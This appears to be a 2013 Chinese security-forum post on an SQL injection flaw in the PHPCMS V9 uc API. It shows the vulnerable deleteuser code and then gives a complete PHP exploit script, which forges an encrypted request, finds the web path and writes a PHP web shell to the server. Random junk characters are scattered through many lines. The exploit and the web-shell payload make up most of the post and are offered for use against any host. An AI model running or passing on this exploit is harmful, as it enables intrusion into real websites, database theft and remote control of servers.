找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2154|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
. _) g% y: _  z6 s* I. B# E2 f2 H! V. j, G: U
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。8 ^" d- i1 j$ r

/ }; j; D- J  Z5 j: ^: N漏洞分析:. {& F5 E. l. \& L5 `
1.未启用ucenter服务的情况下uc_key为空/ m7 f) C" \  l- f0 [: C. i
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
5 u% U& n8 B4 J$ {1 ?  b2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 J/ ~( j. |6 E. T0 E+ w& G
    public function deleteuser($get,$post) {' L/ A; u& X2 A! U
        pc_base::load_app_func('global', 'admin');9 W2 O# e' b' q) e  r
        pc_base::load_app_class('messagequeue', 'admin' , 0);
9 k7 ~: |/ ], D! f        $ids = new_stripslashes($get['ids']);
+ q- P1 p3 \# e, c2 n3 K        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
: q- E/ R. U# d9 F; ?( ?* s2 jSQL语句为5 X5 O+ a4 c, @) ^; B( W
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
% a' L( n5 c/ y. p$ n, J! `. }: o9 u. f9 P6 O( o+ g. B, E
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell; t" w+ Q) p) c  S
<?php
0 x" M5 s4 N" k$ fprint_r('7 X4 A% M8 B! d1 j6 j: ^
---------------------------------------------------------------------------
  c6 g% D& Q" e8 Q8 t8 aPHPcms (v9 or Old Version) uc api sql injection 0day
1 L6 q( l/ h& L" M/ Fby rayh4c#80sec.com
4 Z7 Z' w8 Y& r9 i  o---------------------------------------------------------------------------& `6 t" U; \( x
');
0 s# n: G7 @$ s  ^
  C6 A+ ?0 c& R7 Tif ($argc<3) {( {! k0 t! X/ t6 i
    print_r('- o7 U5 |$ P4 `0 _4 q" r) l
---------------------------------------------------------------------------) l- w3 @/ z, k+ b
Usage: php '.$argv[0].' host path OPTIONS* h" \# m! x0 `+ u5 y4 @2 S
host:      target server (ip/hostname)7 K# Q. I4 e! T9 F6 c- a2 }
path:      path to phpcms, M: O4 t; J. x6 |' E
Options:
: u0 z! m6 k  S+ \2 B -p[port]:    specify a port other than 80
4 o- h! I& K& ~- T -P[ip:port]: specify a proxy
& a0 d, r) \& l4 J3 N& ?  ZExample:; h) ]! i0 C: y* w+ d
php '.$argv[0].' localhost /8 Z5 c# P# z6 c3 p4 w6 Q6 h
php '.$argv[0].' localhost /phpcms/ -p81
7 B2 r) z0 R" K5 J6 o3 [php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
7 t( @0 A- M3 r, A# @---------------------------------------------------------------------------
4 h  H4 q" ~4 b( u4 u7 C');
& Y$ U6 U0 D4 s, ~    die;! k/ F2 e2 \3 V) W4 U
}& p" P2 f6 w2 w7 j

6 i2 N+ c, H. K5 a+ m) serror_reporting(7);3 y8 V# q8 b  m* N$ x4 w
ini_set("max_execution_time",0);7 g/ o8 x4 C; [; }
ini_set("default_socket_timeout",5);
  v. f  g7 `# z7 R9 c# T  s/ e# [4 @( S: E
function quick_dump($string)
6 A. B4 r2 j0 [/ n6 C4 S{
2 \  }+ x3 P  j7 z- `$ t% I  $result='';$exa='';$cont=0;
* p5 b# K# E6 Q4 z2 @" O- r  for ($i=0; $i<=strlen($string)-1; $i++)" P8 O; z8 g( C( @
  {
: }3 b+ ]  W) w  C/ B- v& r   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
1 S& J$ t* d4 \* M   {$result.="  .";}
8 D" d9 y% \1 r- |, b   else4 O5 [# G: [( s7 {0 X- N5 B& Z
   {$result.="  ".$string[$i];}5 j( Y6 {  S7 q' z! c
   if (strlen(dechex(ord($string[$i])))==2)+ i! |" O' {8 s
   {$exa.=" ".dechex(ord($string[$i]));}/ e( c: s, ]4 y: p2 i9 v. @
   else( }, ]' Q- _" R2 `/ j; l# u
   {$exa.=" 0".dechex(ord($string[$i]));}) K2 |  T& k$ a: C3 t
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}0 a' p: c0 Q2 \; W. \9 J# J$ Q
  }& b1 W& t# `( b7 p* V
return $exa."\r\n".$result;
. D6 R8 i9 I4 R}) w3 c- g; y3 F. K0 j; n
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+ y7 `: b! a  ?( Q
/ \$ P; L% e8 efunction send($packet)
% T. L: I# C$ u8 f4 g{
, h- `  g. L/ X  global $proxy, $host, $port, $html, $proxy_regex;
4 n/ {' R, k* l6 S% e1 `  if ($proxy=='') {5 G1 i) l' ^5 m; r
    $ock=fsockopen(gethostbyname($host),$port);& a  d4 X8 \; H
    if (!$ock) {
( ]7 a0 O& M$ ?1 g: y9 V7 Y+ h      echo 'No response from '.$host.':'.$port; die;) U0 l* e; V% c1 ^
    }
' H; u9 W' r4 {0 J7 s  }
1 A- @( F  E% w9 O% z  L( J! d  else {  i2 \" G% C2 J0 M4 {' u
        $c = preg_match($proxy_regex,$proxy);
: p3 \5 F; j" L4 ?* ~: K    if (!$c) {
9 s% p% R1 [' J  e2 L  d3 t      echo 'Not a valid proxy...';die;
  ]( ?7 B# u% z/ y    }9 }# A) c* P% _3 l  [. b6 d& ~
    $parts=explode(':',$proxy);4 t3 ?* {* G3 U5 L: f- |- A, Z
    $parts[1]=(int)$parts[1];. r+ ^: A1 P! a* \
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";. J5 R" `+ H1 G- I2 z% u, [' R
    $ock=fsockopen($parts[0],$parts[1]);
6 K* m( Z/ b' r7 U& r( @# p; C    if (!$ock) {
8 q( C+ A2 D- G      echo 'No response from proxy...';die;
0 @, I/ s/ n8 P. q, L' K+ e5 p7 t        }7 _- Y# A! k" G  Z5 y8 a
  }- [& ^9 `& W5 k, j4 p& f4 y
  fputs($ock,$packet);
/ D' ]& I# g* @" Y6 O: L  if ($proxy=='') {
5 a3 v8 k8 N7 _1 G    $html='';
: \! p" T0 k. \+ q# D$ ]1 P; \    while (!feof($ock)) {6 d9 v( }$ o+ O# M+ p
      $html.=fgets($ock);/ b( y* n1 [4 F  l, a4 A
    }& a4 G0 ~" _7 v: Q! b
  }$ l! M! ]( M- n
  else {, f$ `1 ^8 F3 m6 T% I
    $html='';$ r) J, z! z; N- Y
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
/ }- J9 |7 V3 H6 x0 c. d      $html.=fread($ock,1);
2 [$ K) P: |* z7 d    }
4 b! Q# G3 X  A% ?) u- x  }' I* _$ Y; q1 `
  fclose($ock);0 H3 i3 L1 E9 c1 G2 v3 x2 R* Y
}
+ }% k' M8 T* H$ w
* W* x/ H5 V5 @+ E' {8 h+ |' `  a7 @$host=$argv[1];
. ~* h# F2 w7 n4 K0 ]7 z$ q$path=$argv[2];  w" s& K8 M1 m  @) s
$port=80;
/ V1 J+ K7 d) B$proxy="";" }# q* N2 b) c/ j1 B2 |- T" A
for ($i=3; $i<$argc; $i++){
! d& `! N& y& V) I- I0 Y3 o+ q4 K5 A$temp=$argv[$i][0].$argv[$i][1];4 g* z' s5 {( q6 `" O3 m* T/ c3 f. C
if ($temp=="-p")
9 h5 h% h, U8 k* A% T/ s{8 M% O% u# l# q0 V: i4 k
  $port=(int)str_replace("-p","",$argv[$i]);  C8 i6 e) j, S3 r
}
- e3 Z" L8 p" g1 O5 ?4 V6 @if ($temp=="-P")
3 Q* S  ]* B) Z  s. H$ d{, m, y/ I2 s9 e3 |% g
  $proxy=str_replace("-P","",$argv[$i]);/ `5 y. H! o0 z+ w( o3 ~
}8 e1 }* I' U  p+ z4 k8 U6 c
}) D, o" f: @" J6 ]; v. J* k
  ~! ?( f/ I+ A& g  H5 w7 V( Y' E- H" H
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
! Y6 Q! @" I* }8 I! q+ d- R3 fif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+ A  [( U2 }7 e; z( c: Y3 J0 k$ r3 y2 W* F6 v# w
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
, X1 P! N0 n. U* o% p5 A( ^+ y" o7 o+ d3 X, C
    $ckey_length = 4;; P% d# X% B) E

) I4 j5 v  X7 z3 X    $key = md5($key ? $key : '');; G, m  W8 h! Y
    $keya = md5(substr($key, 0, 16));
: ^9 a$ I# A8 P9 i& g    $keyb = md5(substr($key, 16, 16));
" A# j! v, v+ R! p7 H5 `1 I    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
/ C# k. F: @8 `/ |8 ~
( s8 l& E  [7 w8 c    $cryptkey = $keya.md5($keya.$keyc);: E; G9 s1 a( k" R
    $key_length = strlen($cryptkey);
2 c) q: h; m2 O  i0 i. T
0 c0 y. c7 n1 ]7 H    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
; A8 {: H) H# K* O7 Y, `    $string_length = strlen($string);
: ^* {3 ?# a2 }+ q) b9 L2 S) W
! {% B3 @' E5 ?) J7 ?9 ]    $result = '';
2 Z$ H! ?  H" V' `    $box = range(0, 255);
' \5 A5 X$ j1 }" H* q' g- I% l6 _
    $rndkey = array();3 Z* h3 G7 _( G7 k4 R/ j) L4 i+ \" t
    for($i = 0; $i <= 255; $i++) {" |( \' t( M9 e: x" c4 x1 G( ]1 v0 x
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
$ a+ Z+ b* D. V$ {! p( {: E! ~. Q    }- {8 [7 ^8 z5 t2 k- k6 D' ?/ I

( {( R( w( p6 `2 ?    for($j = $i = 0; $i < 256; $i++) {  C, z0 J/ ?" R& m. J
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
% X' U- y. `+ {        $tmp = $box[$i];
/ r$ W8 S% K1 V        $box[$i] = $box[$j];9 _! ~& s+ r) ^* ?0 l" l
        $box[$j] = $tmp;
; ~' e  L+ x  H    }
) S& ^5 c& c9 Q# s1 W/ Q6 P4 N/ Z! u
    for($a = $j = $i = 0; $i < $string_length; $i++) {) h# ~$ @: f1 i
        $a = ($a + 1) % 256;
$ b4 a) `$ V' U6 S8 `9 h        $j = ($j + $box[$a]) % 256;, {$ Z* l3 Z. b. ]- C8 h$ c
        $tmp = $box[$a];
4 Y2 F! r1 p( V/ T$ s        $box[$a] = $box[$j];
; i$ H. Y, j0 d5 M: N' d        $box[$j] = $tmp;5 i- o0 E# T% @9 f# }: E8 U$ o5 L
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));& @" F; G6 [; }$ X
    }& Y+ u, l; V& n2 e7 |
' R% ~1 @' l+ ]$ Q+ `
    if($operation == 'DECODE') {
/ e; X8 p7 |: D/ U0 b        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {" b$ z1 y) R- R: D% h9 `
            return substr($result, 26);0 G* p9 U4 ~5 n! h) C
        } else {! D4 ~8 X* K) v9 g0 T
            return '';: K# v9 x0 g) r! H
        }0 M+ _9 b9 S# q% u9 q
    } else {9 X. F+ @3 a9 F, }
        return $keyc.str_replace('=', '', base64_encode($result));
% k: H8 R* `5 `1 A4 B3 ?( P: {$ v) `    }
8 ]7 {% C: y) R4 P5 N/ y9 C
( R* R  [6 M7 s  H9 \}! p& N/ C6 Q0 F/ \: e2 {  C! I( [

' ]8 C" a& X1 {4 L$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";) R' \- X& E0 }- Q/ q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) z+ A+ E2 H- Q$ r8 recho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 n+ t7 @. k! r& p0 J7 v* u! E' K0 y- a
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 k% \. @; r  p/ g$packet.="User-Agent: Mozilla/5.0\r\n";
# r8 |( V( ]/ J; w; i; g. |' \$packet.="Host: ".$host."\r\n";
% G: B% H$ |6 X$packet.="Connection: Close\r\n\r\n";
* O$ P4 t# P1 n  H& Ksend($packet);
* h' t2 E0 W% @) Q+ }3 Oif(strpos($html,"MySQL Errno") > 0){6 n. I, m) \8 Z1 c
echo "[2] 发现存在SQL注入漏洞"."\n";* |' y3 V, n# A1 }1 `3 d% \; w
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";0 ?  P1 n' \/ z2 o
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
, [8 F8 z( K, S$packet.="User-Agent: Mozilla/5.0\r\n";! K5 p" K+ b+ O, g1 Q& K( j0 V
$packet.="Host: ".$host."\r\n";$ @$ F/ [: N; M2 \. W) X' \
$packet.="Connection: Close\r\n\r\n";7 _4 k6 z4 D2 V4 K. y+ J2 q
send($packet);, j  y8 k9 S; O& Q( G
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
: J; @: j. n. N! G& w//print_r($matches);
. g( p1 @+ U" {if(!empty($matches)){4 J* g& s7 f9 D& {
echo "[4] 得到web路径 " . $matches[0]."\n";, M/ i; q1 d4 O$ ]% A4 x& |8 a
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
4 k9 C1 ~; N- d+ ^$SQL = "time=999999999999999999999999&ids=1)";/ P; X5 ?1 U7 D( s5 L: I* i
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
7 v* B! {# Z( J5 o2 c! R1 V$SQL.="&action=deleteuser";1 i- |% k5 t6 F4 D# E. Y/ S
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
" v/ V1 V( T6 uecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
, y- N. G5 V+ o' p  B$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 v$ ]3 t: i: E7 R, \+ W' F$packet.="User-Agent: Mozilla/5.0\r\n";& \# \/ X! W2 B) J6 t% W
$packet.="Host: ".$host."\r\n";
) j% b" [1 V1 z' O$packet.="Connection: Close\r\n\r\n";/ y9 W. w4 V  z# [, M" l
send($packet);) G( y9 _4 \' I8 E- L5 C
if(strpos($html,"Access denied") > 0){
$ j" h) x2 f' P6 m6 Y7 Necho "[-] MYSQL权限过低 禁止写入文件 ";" @/ b* ^+ G+ B' A
die;% C3 R4 {. Q% y+ T2 N2 a6 Y
}
9 G0 \. y7 f$ w. m* x' D6 Lecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 Z$ C7 G: ], }( `2 p
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";, I4 {2 U  ~# p$ s
$packet.="User-Agent: Mozilla/5.0\r\n";$ d5 |6 O! s- Y4 L; ]$ [
$packet.="Host: ".$host."\r\n";! h: ~. v  z0 ?# Y
$packet.="Connection: Close\r\n\r\n";: ]) @/ B  ?! ~$ ~  \8 C- j/ X
send($packet);" k2 w# G# N$ B8 @1 c, u0 k: b  D
if(strpos($html,"<title>phpinfo()</title>") > 0){1 @3 c) J2 K& s' A
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";' R) g6 Q& c0 l! V
}
/ B  z( y5 r: d) a7 w5 w}else{
. x# {1 G  c5 `8 H/ _$ A! u; W- @  Y- uecho "[-]未取到web路径 ";( m+ _( K4 R0 q$ I
}
( E( k1 I3 |$ H* [! l}else{
$ M( n4 x# R4 e- e2 N1 vecho "[*]不存在SQL注入漏洞"."\n";
1 c8 [2 k" H) z7 V! u}
3 y$ w( x) [0 @5 f. \- P$ E; M( `9 v
?>) w- S- h% s$ C7 H9 m  f. S. W) U5 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表